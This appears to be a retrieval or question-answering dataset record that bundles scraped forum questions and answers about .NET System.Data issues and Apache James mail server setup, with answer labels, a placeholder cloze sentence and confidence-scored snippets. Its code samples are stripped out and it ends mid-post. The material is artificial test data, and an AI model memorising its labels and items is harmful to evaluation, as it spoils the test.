serialize the SqlConnection object because in .net framework 4.5 there is a new property Credential of type SqlCredential which can not be serialized . Here is the error : .. . .. . In my solution I ve set the Target Framework to .Net Frameowrk 4.0 and even set as reference to the solution a System.Data.dll from 4.0 Framework to force the application to use this one and not the one from GAC . In Debug Mode after doing this I can t see the Credential Property so it s clear it uses the 4.0 version of the System.Data.dll but if I use reflection to inspect the SqlConnection type the Credential property exists in the SqlConnection object : .. . .. . The question is : How can I force my application to use System.Data.dll from the .net Framework 4.0 on a working station the has installed 4.5 .Net Framework on it Thank You Comment : I remember when FW4.5 beta came out during installation it warned that 4.0 will be overridden and its features will be lost . I am not sure if this is still the case but I remember that warning . Comment : See if this may help you : msdn.microsoft.com en-us library 7wd6ex19 28v vs.110 29.aspx http : msdn.microsoft.com en-us library 7wd6ex19 28v vs.110 29.aspx Comment : @T.S . Thanks for the answer but it s not working . I have used the folowing configuration : runtime assemblyBinding xmlns urn : schemas-microsoft-com : asm.v1 dependentAssembly assemblyIdentity name System.Data publicKeyToken b77a5c561934e089 culture neutral bindingRedirect oldVersion 4.0.30319.17929 newVersion 4.0.30319.1 dependentAssembly assemblyBinding runtime Comment : Probably it s not working because in GAC I have only the system.data.dll from the 4.5 framework", "Question : null .. . Answer : We are investigating the possibility of using Xamarin.Android to build software for internal business devices that run Android . These devices are locked to a specific internal WiFi network to which we can give access to our databases using network safety . We have built a successful proof-of-concept app that communicates with our database using the System.Data SqlConnection and SqlCommand classes . Now we are trying to build an app closer to the architecture we will use for the final app and so we are trying to separate out the data-access from the Xamarin UI app . We have tried Portable Class Library and Class Library Android both of which do not include System.Data . Are there any issues if we use a standard Class Library as it is not mobile specific", "Question : I am developing a .NET 4.0 application . It runs fine on the development-machine win7 32bit but it reports this issue when installed and started on a win7 64bit machine . I think the issue has something to do with the System.Data module because the very first thing the application does is to access database . I use the Entity Framework . Would you please help or at least give me a hint or a similar experience Application halts and this error box appears http : i.stack.imgur.com 0q7oo.png Comment : Of course I did build a 64bit compatible version . Comment : Check windows event logs you can find more info about your problem there . .. . Answer : You should IMO either run the application on the target machine under a debugger such as WinDbg or take a crash-dump and analyze it right-click the process in Task Manager choose Create Dump File . This would allow you to know what is really happening rather than guessing . Comment : Thank you There was an error with the database . It should normally be created automatically with initial tables . But somehow the tables were not . I installed VS on another 64bit machine and debugged .", "Question : I m busy building a custom framework for data-retrieval and serialization and I m running into a problem when defining a proprietary database-connection command parameter combo . Everything works as expected until I try and add parameters to my custom command object . I have a base-class that handles query preparation and execution with a generic function as follows : .. . .. . I have classes implemented for most of the provider types Ole ADO ODBC Oracle etc but they are based off the standard .NET types provided in the System.Data namespace . I now have a completely custom class that inherits from System.Data.Common.DbCommand that I want to use but when I try and add parameters in the Prepare function above to this new class I see the Parameters property of my new class is null It is inherited from the base-class and is set to read only so I can t initialize it on my own . My class is defined as follows : .. . .. . public sealed class Connection : System.Data.Common.DbConnection .. . .. . I ve tried explicitly overriding the property in my class as public new List Parameter Parameters get set but to no avail - the generic function still uses the base-class Parameters property . The only way to get a handle on the overridden property is to explicitly cast command in the Prepare function to my custom type which is obviously what I don t want to do . Am I missing something here .. . Answer : First new doesn t override the parameter it s hiding it . This means that anyone using DbCommand.Parameters will see the original implementation while anyone using your type will see your implementation . Overriding a property can only be done using the override keyword . In this case you can t override Parameters because it isn t virtual . Second DbCommand.Parameters is just an external interface over the protected abstract DbCommand.DbCommandParameterCollection http : msdn.microsoft.com en-us library system.data.common.dbcommand.dbparametercollection v vs.110 .aspx property . You need to implement this method to return a actual parameter collection . Comment : Ha Thanks for that.. . I managed to sort the issue shortly after I posted the question . I didn t see your answer before I posted my own but I ll accept yours as correct just because it was exactly what I ended up doing . :", "Question : I m trying to compile the following example from here http : zetcode.com db sqlitecsharp dataset with dmcs and gmcs.. . I tried both : .. . .. . I have used the following CL args to try and get it to compile : .. . .. . And the following errors manifest themselves : .. . .. . or .. . .. . So Mono can t find the System.Data reference . What do I do to fix this I m used to doing C but CLI Mono compilation is new to me . Comment : Upvoted . If you re going to downvote dear Reader please explain why . This is a perfectly understandable question . .. . Answer : You can t pass multiple assemblies using a single -r option you ll have to provide -r for each reference such as : .. . .. . Notice that the error mentions source file . Comment : Winner winner chicken dinner . Thanks Comment : You can pass multiple assemblies . However you cannot have white space after the comma separator .", "Question : I m losing my hair here . Empty web application with Umbraco installed from NuGet . .NET 4.5 in VS2015 .. . .. . Error message : .. . .. . The type or namespace name Linq does not exist in the namespace System.Data are you missing an assembly reference The dll s is in my reference list and webconfig : enter image description here http : i.stack.imgur.com WQ6gj.jpg enter image description here http : i.stack.imgur.com nQf7E.jpg .. . .. . I ve tried to set property Copy local on the reference to true and to update remove and add the reference - no luck . What the hell am I missing here Comment : Try to update this reference or add it one more time after deleting the reference Comment : @ShilpaSoni yes already tried that many times . Comment : Have a look at this : stackoverflow.com a 22873162 2572551 http : stackoverflow.com a 22873162 2572551 might be helpful Comment : or this : stackoverflow.com a 9126698 2572551 http : stackoverflow.com a 9126698 2572551 Comment : @ShilpaSoni it has to be 4.5 because of Umbraco 7.x requirements . .. . Answer : Not sure if this is caused because of Umbraco or just regular web application mechanics . But I simply moved my datacontext class where the error occured from App Code to the root . Build successful . If anyone has an explanation for this behaviour i ll be happy to accept that as an answer .", "Question : Is is possible to use a custom .NET data provider without installing it in the GAC Can I reference a custom DLL and register it inside my configuration file .. . Answer : Yes you can register an implementation of the DbProviderFactory http : msdn.microsoft.com en-us library system.data.common.dbproviderfactory.aspx class by adding the following section http : msdn.microsoft.com en-us library dd0w4a2z 28v vs.100 29.aspx in your configuration file : .. . .. . The MyCustomDataProvider assembly doesn t have to be registered in the GAC but can be deployed together with the application as a private assembly http : msdn.microsoft.com en-us library windows desktop ff951638 28v vs.85 29.aspx . You can refer to the registered data provider programmatically by using the value specified in the invariant attribute . For example you could tell ADO.NET to use the MyNamespace.MyCustomProviderFactory by specifying MyCustomProvider as the providerName in the connection-string : .. . .. . In code you can use the same provider name with the DbProviderFactories.GetFactory http : msdn.microsoft.com en-us library system.data.common.dbproviderfactories.getfactory.aspx method : .. . .. . where factory will be an instance of the MyNamespace.MyCustomProviderFactory class . Comment : That s exactly what I m doing . I don t understand where I m going wrong Comment : Have you tried to specify the fully qualified assembly name http : msdn.microsoft.com en-us library k8xx4k69.aspx in the type attribute Comment : I forgot to include the DLL in my start up project . Comment : You saved me from a lot of trouble . Thank you very much registering an Sybase SQL Anywhere 16 EF provider works perfectly Code : system.data DbProviderFactories add name iAnywhere.Data.SQLAnywhere invariant iAnywhere.Data.SQLAnywhere.EF6 description SQL Anywhere ADO.NET Provider type iAnywhere.Data.SQLAnywhere.SAFactory iAnywhere.Data.SQLAnywhere.EF6 Version 16.0.0.20764 Culture neutral PublicKeyToken f222fc4333e0d400 DbProviderFactories system.data and setting the correct assembly as dependency . Top" ] }
[ "yes-answer-long", "yes-answer-short" ]
.net
UNK_RELATION
james@imap@64
james -- the apache james is a pure java smtp pop3 mail-server @placeholder and nntp news server designed to be a complete and portable mail messaging engine solution based on open messaging protocols .
{ "confidence": [ 65.70852661132812, 65.43399047851562, 60.7807731628418, 59.966670989990234, 59.454200744628906, 55.99134826660156, 54.464210510253906, 52.88540267944336, 52.88540267944336, 51.77434158325195, 51.029659271240234, 50.97901153564453, 50.67197036743164, 50.44270706176758, 50.07944869995117, 49.91859817504883, 49.358856201171875, 49.262168884277344, 48.274539947509766, 48.24894714355469, 48.0506591796875, 46.992767333984375, 45.95383071899414, 45.6028938293457, 45.6028938293457, 45.51841735839844, 44.83832550048828, 44.279048919677734, 43.727264404296875, 43.568260192871094, 43.516693115234375, 43.46430969238281, 43.16019821166992, 42.80852508544922, 42.68620300292969, 42.3956298828125, 42.28348922729492, 42.00078582763672, 41.89347839355469, 41.83781433105469, 41.789527893066406, 41.16377258300781, 41.14583969116211, 41.111488342285156, 41.07757568359375, 41.07429504394531, 40.78241729736328, 40.78241729736328, 40.16392517089844, 39.94430923461914, 39.48898696899414, 39.48898696899414, 39.48898696899414, 39.48898696899414, 39.46704864501953, 39.42995834350586, 39.42995834350586, 39.335960388183594, 39.17718505859375, 38.954864501953125, 38.89197540283203, 38.48914337158203, 38.3779296875, 38.3779296875, 38.269527435302734, 38.269527435302734, 38.16887283325195, 38.0471305847168, 37.97414779663086, 37.97414779663086, 37.90675354003906, 37.82856750488281, 37.56895446777344, 37.562232971191406, 37.539669036865234, 37.52854537963867, 37.42622756958008, 37.235069274902344, 37.15846633911133, 37.15846633911133, 37.046295166015625, 36.85002136230469, 36.512168884277344, 36.3913459777832, 36.231971740722656, 36.231971740722656, 36.231971740722656, 36.231971740722656, 36.231971740722656, 36.15378189086914, 36.10613250732422, 35.90391540527344, 35.823143005371094, 35.69709014892578, 35.52570343017578, 34.9515266418457, 34.9515266418457, 34.774497985839844, 34.73716354370117 ], "content": [ "I have an Apache James 2.3.2.1 Mail Server .", "I installed Java Mail Server as known as JAMES .", "In a project we are using Apache James as SMTP server .", "I am new to James Mail Server .", "I thought of using Apache James 3.0-beta4 for mail-server purpose .", "Firstly Apache James is not a mail storage agent .", "Only this http : james.apache.org server 2.3.1 adding users.html with Java mail API you can send mail to Apache James mailbox read messages but only that .", "Well -actually the mail session I am establishing is with a James server .", "This email will be saved into the inbox table of the mail database by james server .", "James is being used to send emails to an Easily mail-server .", "I had a working Apache James mail-server up and running but just converted it to use a MySQL database instead of the filesystem .", "I want to know Apache James mail-server can be implemented easily and send mail like we are sending though Gmail or Yahoo", "I have managed to run the James Server and is able to parse the mail arriving in Inbox of the user registered in James Server from a Grails application and everything is perfect .", "I have an incoming MimeMessage in my JAMES mail-server .", "I was reading below inks .. . .. . Working with James Part 1 : An introduction to Apache s James enterprise e-mail server http : www.ibm.com developerworks library j-james1 .. . .. . Configuring Apache JAMES as LiveCycle s Mail Server http : blogs.adobe.com livecycle 2008 10 configuring apache james as li.html .. . .. . But not very clear anyone can exaplin", "Are you using JavaMail to send the message to your Apache James server which is then sending it on to mail-tester.com", "I need add new users in Apache James mail-server using Java API but in the whole internet there is not any example of how to use it .", "On this server I have two things my application and an Apache James SMTP server .", "Postcast server Apache James server Cmail server etc .", "I ll start with .. . .. . The Official Apache James Wiki http : wiki.apache.org james FrontPage .. . an article by IBM : Working with James Part 1 : An introduction to Apache s James enterprise e-mail server http : www.ibm.com developerworks java library j-james1 index.html", "A mail-server is a mail-server .", "2012-11-15 14 : 22 : 01 com.csc.mail.jsh.mail.core.ReceiveMail : INFO - trying to receive emails from james server.. . C : STAT S : -ERR C : QUIT S : +OK Apache James POP3 Server signing off .", "but if mail is send to a@sub.mydomain.com then James drops the package and don t send it to restful service .", "I am currently investigating James Mail Server and have an instance running on my local machine .", "http : mail-archives.apache.org mod mbox james-server-user 201410.mbox 3C544FD474.2040906 40malcolms.com 3E", "Java mail api connects to a mail-server for sending email typically SMTP protocol .", "I attempted to import all of the Apache James email server projects .", "For each mail James return that all is done successfully In logs .", "I have been figuring out and successfully configured JAMES Apache server .", "I am new to Apache James .", "I am using an open-source James Email Server to do this .", "In the startguide of JAMES it is said : .. . .. . Determine the DNS server to use .", "Now we want to display an on off icon on the page which can determine whether the James Mail Server is running or not .", "I am having an Issue using Apache James SMTPS I am using it for a project using secure mail .", "we are developing a spring-mvc web application and we need some internal messaging system and i come across the apache james i installed and use the apache james its working perfectly .", "I m using Apache James as my custom local server .", "How to add mail accounts to mail-server through java code using mail api", "I would like to montior a running james server with java simon .", "I ve downloaded apache james 2.3.2 .", "It looks like your Apache James server is using HELO when talking to mail-tester.com and is not identifying itself properly using the full DNS name of your server .", "I have several users on this james server .", "Best is to ask on the mailing list of Apache James .", "Well it is NOT focus on HTTP but on mail-server James I accept STMP connection and I want to limit it to a descent level depending on sender and or receiver .", "how about explaining how to access messages http : stackoverflow.com questions 8961365 unable-to-send-mail-to-outside-domain-using-localhost-as-a-host-via-apache-james rq 1 from James", "It seems to be a mail-server issue .", "In a java project we are using Apache James to send S MIME packages .", "I came across Apache James .", "If Apache James is not possible with this what else", "Apache James 3.0 beta 5 https : issues.apache.org jira browse JAMES fixforversion 12320541 is not yet released .", "I have setup JAMES email server on my local windows system .", "I have an apache james-2.3.2 running on the Guest .", "I am working with Apache James Mailets esp .", "@AlexandreLavoie I m using Apache james http : james.apache.org .", "I developed a webmail to link apache james and it works .", "There are no many administrators that will configure their mail-server in open relay mode .", "It is Mail Enterprise Server that processes mails .", "Are you writing an application or a mail-server", "We deliver the mail to the mail-server which is responsible for the email-address .", "When I have downloaded newer version of beta5 https : repository.apache.org content repositories snapshots org apache james james-server-app 3.0.0-beta5-SNAPSHOT it worked fine .", "I am unable to use a synchronized HashMap because it seems like james apache server 2.3.1 doesn t allow so .", "I have downloaded the latest version of the mail-server .", "I ve managed to get mine apache-james-3.0-beta4 working setting database.url jdbc : mysql : 127.0.0.1 james create true", "This is a function in apache james to convert the ip to the specified format .", "You don t need Apache James for sending emails .", "I am using James Server along with a Grails application .", "I am using james server to send and receive emails .", "If you setup own mail-server you must consider at least : .. . .. . Setup mail daemon for receiving and sending like Apache James .. . Setup DNS related things like SPF DKIM PTR-record etc .. . Rate limited sending some provider doesn t like when you throw 1000 email at once .", "And are you sure there s no firewall preventing your mail-server from connecting to the Gmail SMTP server", "Here is the answer : Start Apache James with jdk 1.7 http : stackoverflow.com questions 16154201 start-apache-james-with-jdk-1-7 .. . .. . UPADTE : I was wrong .", "can not receive emails from apache james http : stackoverflow.com questions 13393347 cant-receive-emails-from-apache-james 13404596 comment18476058 13404596", "I started to work in the apache james upgrade from beta3 to beta5 .", "Then I did a telnet on 25 port and I sent a mail to an outside email-address like this .. . .. . .. . In leo inbox appears a message like this .. . .. . .. . What can I do in order to send an email to a outside server using James", "Apache James 3.0-beta4 does not start on java-7 but starts on java-6 .", "Link is broken. . you can find the beta5 here repository.apache.org content repositories snapshots org apache https : repository.apache.org content repositories snapshots org apache james apache-james 3.0-beta5-SNAPSHOT", "Anybody know or used James Java API", "If you want to do that remotely you ll need a Java telnet or ssh client to connect to the server where James is running .", "I d like to send mail without bothering with the SMTP-Server which is used for delivery .", "Apache James apache-james-3.0-beta4 .. . .. . Mostly same as above but this do not have any GUI to configure this is light weight command-line email server which also runs on Linux .", "I have configured the James server and added some user and domains to it .", "Does james server provide any kind of web interface", "the above code works for both Hmailserver and Apache James .", "https : wiki.apache.org james JamesQuickstart", "we are using Apache james server with grails 2.1.1 to send and receive emails on our application .", "I ve configured Apache James http : james.apache.org server 3 config.html as per the wiki http : wiki.apache.org james V3ConfigTutorial : .. . .. . But I m getting : .. . .. . The full console output https : gist.github.com 3375571 was too large to paste here .", "I am looking to create some filters of different complexity for Apache James .", "I have recently configured the Apache james 3.0 beta5 to support startTLS .", "Should i store the messages in a database or an email system like Apache James", "I had contact with Apache James and finally found the answer .", "Looks like you need to find an Apache James expert .", "I am using javamail to access the available folders in james mail-server but my code is throwing an exception .. . .. . Note : exception is thrown when calling list method .. . .. . Exception : Caused by : com.sun.mail.iap.CommandFailedException : A3 NO LIST failed .", "This connects to a host which has a mail-server .", "I have tried to run the apache-james-3.0-beta4 server on Linux Mint 64bit Debian with Java jdk 1.7u17 but it didn t work due to the JAXB library bug .", "If that s all the output you get from telnet then something is wrong with your mail-server or the way you re forwarding ports to the mail-server .", "Add some meaningful host like gmail or yahoo you will be able to get through the SPAM Filter of the receiver s mail-server SMTP .", "I configured as the steps mentioned by James .", "Initially I managed to get it running create accounts by running james-2.3.2 bin run.bat and connect to these account using mozilla thunderbird mail client .", "Some widely used linux mail servers are sendmail and postfix don t know if you ll get any advantage out of using James .", "Do they get added by the server or the mail client program", "maybe it s related to this one : issues.apache.org jira browse JAMES-1451 https : issues.apache.org jira browse JAMES-1451" ] }
{ "confidence": [ 72.0566635131836, 71.90005493164062, 70.7963638305664, 70.28028106689453, 70.26570129394531, 70.26156616210938, 69.40557098388672, 67.76922607421875, 67.20436096191406, 66.19863891601562, 65.43619537353516, 64.94151306152344, 63.95024490356445, 63.939857482910156, 63.56679916381836, 63.49242401123047, 63.3836555480957, 62.33977508544922, 60.36091995239258, 60.214786529541016 ], "content": [ "Question : null .. . Answer : In a project we are using Apache James as SMTP server . We have plugged a mailet container to James that sends every packages it gets to our project via a restful service . So that our project gets the mime message and parse it . Mail address doesn t have to be in our system if the domain is ours then we are parsing the mail . We have a problem about subdomains . If a subdomain is defined in JAMES DOMAIN database-table we can get the mail but if subdomain is not defined James says this domain is not belong to me and drops the package before sending to the restful service . for example if a@test.mydomain.com is defined in the system then test.mydomain.com is defined in JAMES DOMAIN table and if a mail sends to b@test.mydomain.com then it is send to the restful service . but if mail is send to a@sub.mydomain.com then James drops the package and don t send it to restful service . I tried to add .mydomain.com to JAMES DOMAIN table hoping that it takes it as wildcard but it didn t work . Is there any solution about that", "Question : Email sent from JamesServer are marked as spam . I am using JavaMail to connect to JamesServer to send emails . To test spam I am using the mail-tester.com site . This site tells me the email are marked as spam with a negative threshold for below : .. . .. . I came across helo and ehlo parameter based on the site . To override helo and ehlo I have used mail.smtp.localhost property . But I was able to change ehlo but I am not able to change helo value . How do I change value of helo parameter Here is my java sample code : .. . .. . Here is my email log which I got it from mail-tester.com .. . .. . Any help is appreciated . .. . Answer : Are you using JavaMail to send the message to your Apache James server which is then sending it on to mail-tester.com If so it s the Apache James configuration you need to worry about not the JavaMail configuration . Note that only one of HELO or EHLO is used in a single SMTP conversation . It looks like your Apache James server is using HELO when talking to mail-tester.com and is not identifying itself properly using the full DNS name of your server . Make sure your server has a DNS name not just a DHCP acquired IP address and the name service on the server is properly configured to know the DNS name of the server .", "Question : I need add new users in Apache James mail-server using Java API but in the whole internet there is not any example of how to use it . Only this http : james.apache.org server 2.3.1 adding users.html with Java mail API you can send mail to Apache James mailbox read messages but only that . Anybody know or used James Java API Any examples .. . Answer : I understand what I should use apache james api build from source and use JPA functionality .", "Question : We have a web application developed with JSP Servlet and Hibernate . We have to send some automated emails from the application We only have to send . we can hard code the send account name etc . I came across Apache James . But I am not sure whether you can distribute it with the application as a library where users don t have to configure it manually . PHP developers claim that they can send emails without the server stuff so Java must can too . If Apache James is not possible with this what else Comment : Take a look at stackoverflow.com questions 26087018 http : stackoverflow.com questions 26087018 sending-emails-through-java-javax-mail-messagingexception-could-not-connect-t 26092701 26092701 .. . Answer : You don t need Apache James for sending emails . Use Java mail api : http : www.oracle.com technetwork java javamail index.html . Java mail api connects to a mail-server for sending email typically SMTP protocol . There are several samples at http : java.net projects javamail downloads download javamail-samples.zip . Look at the send samples to understand how to send email . If you are using spring framework you get java mail wrappers which simplify the code a lot .", "Question : I developed an email website using javamail and apache-james and it works well mostly . But some user got Open failed Exception and cannot receive new mail . The code of receive email : .. . .. . In most cases it works just fine . But still got the error occasionally : .. . .. . Waiting your help and thanks a lot I debug and debug finally found the STAT command failed when STAT command got an error there s an exception of james but that makes no sence All application runs on the same server and there s only a few users online when I test it only me use it . The error just appear occasionally . Why Comment : Looks more like a server-side outage that can occure time to time . Is it your server Is the problem also occuring when you are using a normal mailing program Comment : @AlexandreLavoie I m using Apache james http : james.apache.org . And write a clint-side by myself using javamail . There are about 200 users using frequently and 30 000 emails now . Comment : Have you checked for maximum simultaneous sessions or connections Like my server in IMAP I ve reached many times this kind of limit . Almost every web programs have configurations to set concurrent connections limits . Comment : Thank you @AlexandreLavoie . But I m not quite sure because when user sa login all emails can be received successfully about 35 new mails . But user yan could t 138 new mails . Comment : So your problem is random or is based on specific users Have you access to server logs .. . Answer : It seems to be a mail-server issue . STAT command is used to show number of messages . Normally STAT is the first command to run after successfully connected to the mail-server . Try to use mailSession.setDebug true to enter debug mode to get more error logs . Comment : Seems a good idea . I ll modify it and see what happend . But the log file really exponded quickly . Thank you @AlexCheng Comment : 2012-11-15 14 : 22 : 01 com.csc.mail.jsh.mail.core.ReceiveMail : INFO - trying to receive emails from james server.. . C : STAT S : -ERR C : QUIT S : +OK Apache James POP3 Server signing off . 2012-11-15 14 : 22 : 03 com.csc.mail.jsh.mail.core.ReceiveMail : ERROR - Folder open failed javax.mail.MessagingException : Open failed nested exception is : java.io.IOException : STAT command failed : null at com.sun.mail.pop3.POP3Folder.open POP3Folder.java : 228 at com.csc.mail.jsh.mail.core.ReceiveMail.receive ReceiveMail.java : 82 at com.csc.mail.jsh.mail.core.ReceiveMail.run.. . Comment : can not receive emails from apache james http : stackoverflow.com questions 13393347 cant-receive-emails-from-apache-james 13404596 comment18476058 13404596", "Question : I need add new users in Apache James mail-server using Java API but in the whole internet there is not any example of how to use it . Only this http : james.apache.org server 2.3.1 adding users.html with Java mail API you can send mail to Apache James mailbox read messages but only that . Anybody know or used James Java API Any examples .. . Answer : You may need to use Runtime.exec to call the James adduser command . If you want to do that remotely you ll need a Java telnet or ssh client to connect to the server where James is running .", "Question : I need add new users in Apache James mail-server using Java API but in the whole internet there is not any example of how to use it . Only this http : james.apache.org server 2.3.1 adding users.html with Java mail API you can send mail to Apache James mailbox read messages but only that . Anybody know or used James Java API Any examples .. . Answer : Here is the equivalent java code :", "Question : I need add new users in Apache James mail-server using Java API but in the whole internet there is not any example of how to use it . Only this http : james.apache.org server 2.3.1 adding users.html with Java mail API you can send mail to Apache James mailbox read messages but only that . Anybody know or used James Java API Any examples .. . Answer : Hi this module will help you in doing so as this is in groovy so Please change def to desired Datatye object of a class this is just for a idea but it require effort to convert this to JAVA code .", "Question : we are using Apache james server with grails 2.1.1 to send and receive emails on our application . Now we want to display an on off icon on the page which can determine whether the James Mail Server is running or not . So is there a way in Java or grails to determine this . .. . Answer : You could try connecting to the remote admin port which I believe is port 4555 by default : .. . .. . Or if the remote admin port isn t open on your installation you could try the SMTP port Comment : you again : . Tim you and burt are really life saviour for me . Let me try this .", "Question : We have a web application developed with JSP Servlet and Hibernate . We have to send some automated emails from the application We only have to send . we can hard code the send account name etc . I came across Apache James . But I am not sure whether you can distribute it with the application as a library where users don t have to configure it manually . PHP developers claim that they can send emails without the server stuff so Java must can too . If Apache James is not possible with this what else Comment : Take a look at stackoverflow.com questions 26087018 http : stackoverflow.com questions 26087018 sending-emails-through-java-javax-mail-messagingexception-could-not-connect-t 26092701 26092701 .. . Answer : Simple example of sending email using JavaMail API .. . .. . In this example we are going to learn how to send email by SMTP server installed on the machine e.g . Postcast server Apache James server Cmail server etc . If you want to send email by using your SMTP server provided by the host provider see the example after this one . For sending the email using JavaMail API you need to load the two jar files : .. . .. . mail.jar .. . Activation.jar .. . .. . Heres the link http : www.javatpoint.com example-of-sending-email-using-java-mail-api Comment : This is what I do not want to do . This connects to a host which has a mail-server . Try running your code without any change it wont work as there is no active server .", "Question : As i am implementing a web application for User management i need to send 1k email daily one way to use some paid email service but i want to implement my own will Apache James Mail server will help me can i send mail through it or i have to buy some paid services for this I want to know Apache James mail-server can be implemented easily and send mail like we are sending though Gmail or Yahoo I was reading below inks .. . .. . Working with James Part 1 : An introduction to Apache s James enterprise e-mail server http : www.ibm.com developerworks library j-james1 .. . .. . Configuring Apache JAMES as LiveCycle s Mail Server http : blogs.adobe.com livecycle 2008 10 configuring apache james as li.html .. . .. . But not very clear anyone can exaplin My concern is If we any Such Server is available why to go for paid services . .. . Answer : A mail-server is a mail-server . If you use JavaMail you just need to have a properly configured mail-server running somewhere and use it . Some widely used linux mail servers are sendmail and postfix don t know if you ll get any advantage out of using James . As for why go for paid services Some people don t know how to set up a mail-server and they will rather pay for these services than spend their own time trying to set one up . It s a tradeoff between time and money . Comment : Thanks for Your Update So do you mean if We will Able to setup James kind of project We do not need to buy Paid Services And from our web application we can send mail like we can do with paid services", "Question : We have a web application developed with JSP Servlet and Hibernate . We have to send some automated emails from the application We only have to send . we can hard code the send account name etc . I came across Apache James . But I am not sure whether you can distribute it with the application as a library where users don t have to configure it manually . PHP developers claim that they can send emails without the server stuff so Java must can too . If Apache James is not possible with this what else Comment : Take a look at stackoverflow.com questions 26087018 http : stackoverflow.com questions 26087018 sending-emails-through-java-javax-mail-messagingexception-could-not-connect-t 26092701 26092701 .. . Answer : As someone said Java Mail is all you need to send e-mail in Java . You will need to provide the configuration that will allow you to connect to an SMTP server though . If PHP developers don t need to provide that stuff it s because it s usually done by the internet service provider .", "Question : The plan is to create a list of Apache James http : james.apache.org learning resources involving a wide a range of aspects from setting it up to using API from java . If you read this and have some great tutorial at your fingertips please drop a line or two . I ll start with .. . .. . The Official Apache James Wiki http : wiki.apache.org james FrontPage .. . an article by IBM : Working with James Part 1 : An introduction to Apache s James enterprise e-mail server http : www.ibm.com developerworks java library j-james1 index.html Comment : What s the question Comment : Which learning resources with Apache James as topic do you use on a regular basis or which do you think excel in some way Comment : the documentation seems lacking on this topic : http : stackoverflow.com questions 10848285 james-not-picking-up-mysql-connecto r-jar http : stackoverflow.com questions 10848285 james-not-picking-up-mysql-connector-jar Comment : how about explaining how to access messages http : stackoverflow.com questions 8961365 unable-to-send-mail-to-outside-domain-using-localhost-as-a-host-via-apache-james rq 1 from James .. . Answer : Some more resources : .. . .. . 1 . http : www.mobilefish.com developer james james.html .. . 2 . http : blyx.com public docs JAMES 2.pdf", "Question : I am new to James Mail Server . I configured as the steps mentioned by James . I can send send mails to internal network but I am not able to send mails to external network like gmail . Somebody please help me to resolve the issue .. . .. . Thanks in advance .. . .. . Rohith .. . Answer : Sorry for the late but it may help some people in the future . If you want configure JAMES to send mails to external network you must edit the file conf.xml in the JAMES DIR apps james SAR-INF . Uncommented these line to define an SMTP relay server if necessary through the gateway : .. . .. . Example to use the gmail relay server : .. . .. . POP Server : pop.gmail.com on activation of the POP option of GMail .. . SMTP Server : smtp.gmail.com .. . IMAP Server : imap.gmail.com .. . .. . EDIT : gmail requires an authentication so you must set the gatewayusername and the gatewayPassword markups : .. . .. . See http : mail.google.com support bin answer.py answer 10350", "Question : null .. . Answer : I know there is a lot of topics in this forum and on Google about how to send a mail with Python giving plenty of ways to achieve but I haven t find a similar case . Not yet The goal is simple . I have an application running on a server and I want it to be able to send me email with attachment pieces of logs when a problem occurs . On this server I have two things my application and an Apache James SMTP server . Well configured .. . .. . I have followed the RFC2046 https : tools.ietf.org html rfc2046 section-5.1.1 and RFC2049 https : tools.ietf.org html rfc2049 page-6 to write my mail model . My sending code is the following : .. . .. . The problem is that mail never arrives in my mail box either spam or inbox or take so long time between a few hours to a few days .. . .. . I have tried with the email Python module but the same behavior occurs . For each mail James return that all is done successfully In logs . Does someone have a clue to help me Thanks for reading . Claude Comment : You ve checked your IP address against spam blacklists right Comment : Yes sure and when I send a mail without attachment I receive it quiet immediatly .", "Question : I thought of using Apache James 3.0-beta4 for mail-server purpose . I downloaded it from apache website . Followed the instructions to run it . i ran run.bat but got the error . Looked everywhere but didn t find any solution . its the latest file that apache have as of now . Please guide me regarding this . .. . Answer : Apache James 3.0-beta4 does not start on java-7 but starts on java-6 . Here is the answer : Start Apache James with jdk 1.7 http : stackoverflow.com questions 16154201 start-apache-james-with-jdk-1-7 .. . .. . UPADTE : I was wrong . Actually You can start beta4 on java-7 . I just did it . You have to download the sources edit the pom to use the camel-core-2.10.3 and build the project using maven .", "Question : As i am implementing a web application for User management i need to send 1k email daily one way to use some paid email service but i want to implement my own will Apache James Mail server will help me can i send mail through it or i have to buy some paid services for this I want to know Apache James mail-server can be implemented easily and send mail like we are sending though Gmail or Yahoo I was reading below inks .. . .. . Working with James Part 1 : An introduction to Apache s James enterprise e-mail server http : www.ibm.com developerworks library j-james1 .. . .. . Configuring Apache JAMES as LiveCycle s Mail Server http : blogs.adobe.com livecycle 2008 10 configuring apache james as li.html .. . .. . But not very clear anyone can exaplin My concern is If we any Such Server is available why to go for paid services . .. . Answer : The problem is ensuring that Big Providers like : Yahoo Gmail Hotmail accepts email sent from your server . Email Deliverability issues are the reason why people tends to buy a paid services . If you setup own mail-server you must consider at least : .. . .. . Setup mail daemon for receiving and sending like Apache James .. . Setup DNS related things like SPF DKIM PTR-record etc .. . Rate limited sending some provider doesn t like when you throw 1000 email at once . Bounce management e.g . you must stop delivering email to dead account .. . Spam Virus Filtering you don t want to receiving too many spam .. . .. . Note : Paid services may added several facilities like nice Statistics Dashboard . Comment : So for a web application where we have to send 1K mail daily which will better paid or own setup Comment : If you have time AND person to initial setup maintenance that mail-server you can choose own setup . My apps currently sent 10k email daily to big providers . At first three month I was struggling to ensure that my email doesn t end to spam folder . So I agree with this sentences from Kayaman answer It s a tradeoff between time and money . Comment : So it is clear we can setup our own mail-server but it may be challenged for us our mail go to Spam Folder and we have to take care other things as well thats why people prefer paid services Comment : Yes you can focus to your apps instead building a correct mail-server", "Question : community .. . I already installed James in my machine . I configured it . I did a telnet on 4555 port and I added several users . Then I did a telnet on 25 port and I sent a mail to an outside email-address like this .. . .. . .. . In leo inbox appears a message like this .. . .. . .. . What can I do in order to send an email to a outside server using James .. . Answer : @Leandro Roura Sixto : Hi . Basically the SMTP error-code 554 is thrown when the receiver identifies your machine as a source of SPAM or a relay host . This is typically caused by the domain of leo i.e . localhost . Add some meaningful host like gmail or yahoo you will be able to get through the SPAM Filter of the receiver s mail-server SMTP .", "Question : I have rather unique setup . I am not sure if others have tried this . I have the following VirtualBox setup . Host is a OS X Maverick .. . Guest is Windows 7 64 bit . I have an apache james-2.3.2 running on the Guest . I have several users on this james server . I have not configured ssl . I have set the DNS to be my home routers ip-address . I also have port forwarding setup on my vm . Host port 10025 - Guest port 25 . On the host I have installed thunder bird . When I send email from one account to the other I can see the other james user receiving the email . I have use localhost as the host for all my accounts in Thunderbird . Now I have a apache tomee running on the host with an ejb that needs to send out an email . Following is my config for the mail session in tomee.xml .. . .. . My java code in the ejb is the following .. . .. . .. . This code fails to send out an email . Following is the debug output and Exception . My question is why do I get this error when Thunderbird is able to send and receive emails just fine .. . This what I see when I do 